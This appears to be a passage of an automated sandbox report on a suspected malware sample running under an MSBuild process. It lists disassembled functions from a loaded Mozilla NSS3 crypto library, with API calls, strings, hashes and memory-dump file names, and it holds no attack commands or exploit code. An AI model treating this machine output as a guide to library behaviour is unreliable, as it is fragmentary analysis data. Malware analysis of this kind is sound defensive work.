PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CCAAA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CCAAA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6CCAAA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6CCAAA87

Strings

C_DecryptMessageBegin, xrefs: 6CCAA9C1
ulParameterLen = 0x%p, xrefs: 6CCAAA50
ulAssociatedDataLen = 0x%p, xrefs: 6CCAAA82
pAssociatedData = 0x%p, xrefs: 6CCAAA69
pParameter = 0x%p, xrefs: 6CCAAA35
hSession = 0x%x, xrefs: 6CCAA9DE, 6CCAA9EE
(CK_INVALID_HANDLE), xrefs: 6CCAA9FC

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin
API String ID: 1003633598-2188218412
Opcode ID: bfc25c2ce15d27fe9d203ed5208966450fcb9f1e400f5042ece113ca87e05dfa
Instruction ID: b029b67f1571a5687456ea58f1d5099075843e772d8018fc1682ec8471fc5bbd
Opcode Fuzzy Hash: bfc25c2ce15d27fe9d203ed5208966450fcb9f1e400f5042ece113ca87e05dfa
Instruction Fuzzy Hash: 45310B35A02151BFEB00DF94DD8CF9A77B9EB8631CF098055E90857A61E730AC49CFA1

Function 6CD3CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CD3CC7B), ref: 6CD3CD7A

Part of subcall function 6CD3CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CCAC1A8,?), ref: 6CD3CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CD3CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CD3CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CD3CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CD3CD8E

Part of subcall function 6CC605C0: PR_EnterMonitor.NSS3 ref: 6CC605D1
Part of subcall function 6CC605C0: PR_ExitMonitor.NSS3 ref: 6CC605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CD3CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CD3CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CD3CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CD3CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CD3CE48

Strings

freeaddrinfo, xrefs: 6CD3CD9F, 6CD3CE10
getnameinfo, xrefs: 6CD3CDB2, 6CD3CE23
ws2_32.dll, xrefs: 6CD3CD75
getaddrinfo, xrefs: 6CD3CD88, 6CD3CDF9
wship6.dll, xrefs: 6CD3CDE3

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 1ed7e955ae56f046968c701adb658d93014bf2a2c03c4ba3448cba730786bd0f
Instruction ID: b0e1dfd8393e8ec221dc4abf375c96b301be54ea8c62df4f0da0a776357a53d8
Opcode Fuzzy Hash: 1ed7e955ae56f046968c701adb658d93014bf2a2c03c4ba3448cba730786bd0f
Instruction Fuzzy Hash: 5511D6E5E0313166F70177BA7C4099A385CAB8311DF18563AF909E1FA1FB21D50A83EA

Function 6CCD6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CDA1DE0,?), ref: 6CCD6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCD6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CCD6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CCD6D82
DER_GetInteger_Util.NSS3(?), ref: 6CCD6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCD6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CCD6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CCD6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CCD6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CCD6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CCD7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CCD7033
free.MOZGLUE(?), ref: 6CCD703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CCD7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CCD7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CCD70AF

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 3ea9fcefad92f12e78ec099ca32f496f61f0081e5b3bc2921c9a09721982a5dc
Instruction ID: 29e404b50ae6fdc775f8e368acfda431f6db016354f28f36f0439faf05910b1b
Opcode Fuzzy Hash: 3ea9fcefad92f12e78ec099ca32f496f61f0081e5b3bc2921c9a09721982a5dc
Instruction Fuzzy Hash: F0A1F871904A019BEB009F24DC85B6B32A4EB8130CF264D39EB59DBA91F775F845C793

Function 6CC9AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC7AB95,00000000,?,00000000,00000000,00000000), ref: 6CC9AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CC7AB95,00000000,?,00000000,00000000,00000000), ref: 6CC9AF39
PR_Unlock.NSS3(?,?,?,6CC7AB95,00000000,?,00000000,00000000,00000000), ref: 6CC9AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CC7AB95,00000000,?,00000000,00000000,00000000), ref: 6CC9AF69
TlsGetValue.KERNEL32 ref: 6CC9B06B
EnterCriticalSection.KERNEL32(?), ref: 6CC9B083
PR_Unlock.NSS3(?), ref: 6CC9B0A4
TlsGetValue.KERNEL32 ref: 6CC9B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CC9B0D9
PR_Unlock.NSS3 ref: 6CC9B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC9B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC9B182

Part of subcall function 6CCCFAB0: free.MOZGLUE(?,-00000001,?,?,6CC6F673,00000000,00000000), ref: 6CCCFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC9B177

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CC7AB95,00000000,?,00000000,00000000,00000000), ref: 6CC9B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CC7AB95,00000000,?,00000000,00000000,00000000), ref: 6CC9B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CC7AB95,00000000,?,00000000,00000000,00000000), ref: 6CC9B1C2

Part of subcall function 6CCC1560: TlsGetValue.KERNEL32(00000000,?,6CC90844,?), ref: 6CCC157A
Part of subcall function 6CCC1560: EnterCriticalSection.KERNEL32(?,?,?,6CC90844,?), ref: 6CCC158F
Part of subcall function 6CCC1560: PR_Unlock.NSS3(?,?,?,?,6CC90844,?), ref: 6CCC15B2

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 6594cfc2d48b20d484cef23bb1493d6174f3364ca6d2b6ceb6f61ec88167222f
Instruction ID: 54485ffe62200cbabadd9acfa56681dc3fca73becabbf302dfe3634773daf2cb
Opcode Fuzzy Hash: 6594cfc2d48b20d484cef23bb1493d6174f3364ca6d2b6ceb6f61ec88167222f
Instruction Fuzzy Hash: E5A1A2B5E00205ABEF009F64DC81BEABBB8FF45308F144125E905A7B51F731E995CBA1

Function 6CCEAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCEADB1

Part of subcall function 6CCCBE30: SECOID_FindOID_Util.NSS3(6CC8311B,00000000,?,6CC8311B,?), ref: 6CCCBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CCEADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CCEAE08

Part of subcall function 6CCCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CDA18D0,?), ref: 6CCCB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCEAE25
PL_FreeArenaPool.NSS3 ref: 6CCEAE63
PR_CallOnce.NSS3(6CDD2AA4,6CCD12D0), ref: 6CCEAE4D

Part of subcall function 6CBF4C70: TlsGetValue.KERNEL32(?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4C97
Part of subcall function 6CBF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CB0
Part of subcall function 6CBF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCEAE93
PR_CallOnce.NSS3(6CDD2AA4,6CCD12D0), ref: 6CCEAECC
PL_FreeArenaPool.NSS3 ref: 6CCEAEDE
PL_FinishArenaPool.NSS3 ref: 6CCEAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCEAEF5
PL_FinishArenaPool.NSS3 ref: 6CCEAF16

Strings

security, xrefs: 6CCEADEE

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 397a4e99b7672ca919851f1f9afcb6f8ee51e5d1ff7bda02972b7a7d66339ae1
Instruction ID: 64ec5b13b205b8be337df26265f01d62a4b59c359bf4b0fc5d9a64445179a459
Opcode Fuzzy Hash: 397a4e99b7672ca919851f1f9afcb6f8ee51e5d1ff7bda02972b7a7d66339ae1
Instruction Fuzzy Hash: FF413BB19042106FF7218B299C85BAB3AB8AFCB31CF110525E91497F81F735A919C7D3

Function 6CCDE8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CCDE853,?,FFFFFFFF,?,?,6CCDB0CC,?,6CCDB4A0,?,00000000), ref: 6CCDE8D9

Part of subcall function 6CCD0D30: calloc.MOZGLUE ref: 6CCD0D50
Part of subcall function 6CCD0D30: TlsGetValue.KERNEL32 ref: 6CCD0D6D

Part of subcall function 6CCDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CCDDAE2,?), ref: 6CCDC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CCDE972
PORT_ArenaMark_Util.NSS3(?), ref: 6CCDE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCDEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CCDEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CCDEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CCDEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CCDEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CCDEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CCDEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CCDEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CCDEBEC
free.MOZGLUE(00000000), ref: 6CCDEC58

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: f1725d628114ac68bea39f8dc96621567f13ed86270e9e366a1f8287ab2707c8
Instruction ID: 0714822ef80ea03137ff65e764d2d13f2d86ffae2be6497824388fa193cff22c
Opcode Fuzzy Hash: f1725d628114ac68bea39f8dc96621567f13ed86270e9e366a1f8287ab2707c8
Instruction Fuzzy Hash: 23C163B1E012059BEB00CF69D881BAABBB4BF45318F16046DEA0697B51F731F844CBE5

Function 6CCB29A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6CC86A5E,00000001,00000000,?,6CC86540,?,0000000D,00000000), ref: 6CCB2A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC86A5E,00000001,00000000,?,6CC86540,?,0000000D,00000000), ref: 6CCB2A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6CC86A5E,00000001,00000000,?,6CC86540,?,0000000D), ref: 6CCB2A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC86A5E,00000001), ref: 6CCB2AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC86A5E,00000001,00000000), ref: 6CCB2ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC86A5E,00000001), ref: 6CCB2ADF
PR_Unlock.NSS3(?), ref: 6CCB2B38
PR_Unlock.NSS3(?), ref: 6CCB2B8B

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6CC86A5E,00000001,00000000,?,6CC86540,?,0000000D,00000000,?), ref: 6CCB2CA2

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: f8654910c0a4aa59ce5faa5e4d5e6a93585527b8667f82385cb2b4e86224bc80
Instruction ID: 617f82be15ef2aa2d0d3605722589a4e918c90f6322068b78f44ef44f2aaa8f4
Opcode Fuzzy Hash: f8654910c0a4aa59ce5faa5e4d5e6a93585527b8667f82385cb2b4e86224bc80
Instruction Fuzzy Hash: E9B1E374D002059FEB11DFA9D988BAAB7B8FF09308F144529E945B7B11E731F981CBA1

Function 6CC92980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC79E71,?,?,6CC8F03D), ref: 6CC929A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC79E71,?), ref: 6CC929B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC79E71,?,?,6CC8F03D), ref: 6CC929E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC79E71,?), ref: 6CC929F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC79E71,?), ref: 6CC92A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC79E71), ref: 6CC92A13

Part of subcall function 6CD1DD70: TlsGetValue.KERNEL32 ref: 6CD1DD8C
Part of subcall function 6CD1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD1DDB4

PR_Unlock.NSS3(?), ref: 6CC92A6A
TlsGetValue.KERNEL32 ref: 6CC92A98
EnterCriticalSection.KERNEL32(?), ref: 6CC92AAC
PL_HashTableLookup.NSS3(?,?), ref: 6CC92ABC
PR_Unlock.NSS3(?), ref: 6CC92AC9
TlsGetValue.KERNEL32 ref: 6CC92B3D
EnterCriticalSection.KERNEL32(?), ref: 6CC92B51
PL_HashTableLookup.NSS3(?,6CC79E71), ref: 6CC92B61
PR_Unlock.NSS3(?), ref: 6CC92B6E

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 9217f5dad00d30107c9bc8775eb5b6672b43383bef2c6ffe56b257b3bcd950a4
Instruction ID: 081a027bae2599fff8f488c612e2d22cbaeee87deddb1a558c47cfe37cc9039b
Opcode Fuzzy Hash: 9217f5dad00d30107c9bc8775eb5b6672b43383bef2c6ffe56b257b3bcd950a4
Instruction Fuzzy Hash: 8C711676D00205ABEF109F24DC449AABBB8FF06358B058124ED5D9BB12FB31E995C7E0

Function 6CC88DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CC88E22
EnterCriticalSection.KERNEL32(?), ref: 6CC88E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CC88E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CC88E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC88E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC88EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CC88EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC88EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CC88F00
free.MOZGLUE(?), ref: 6CC88F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CC88F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CC88F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CC88F5B
PR_Unlock.NSS3(?), ref: 6CC88F72
PR_Unlock.NSS3(?), ref: 6CC88F82

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: a8b14e2d43cdf5075ff179839b536fb702a930369d7faf1430834620df6d8f54
Instruction ID: 134cb79fb6f2aa5ec63592479f61a95fa1a6db094084a7a32f53d4f93640b266
Opcode Fuzzy Hash: a8b14e2d43cdf5075ff179839b536fb702a930369d7faf1430834620df6d8f54
Instruction Fuzzy Hash: FB51F3B6D022159FEB009F69CC84D6BBBB9EF45318B15412AE8089BB50F731ED458BE1

Function 6CCACE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CCACE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CCACEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CCACED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CCACEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CCACF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CCACF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CCACF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CCACF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CCACF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CCACFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CCACFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CCACFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CCACFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CCAD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CCAD021

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
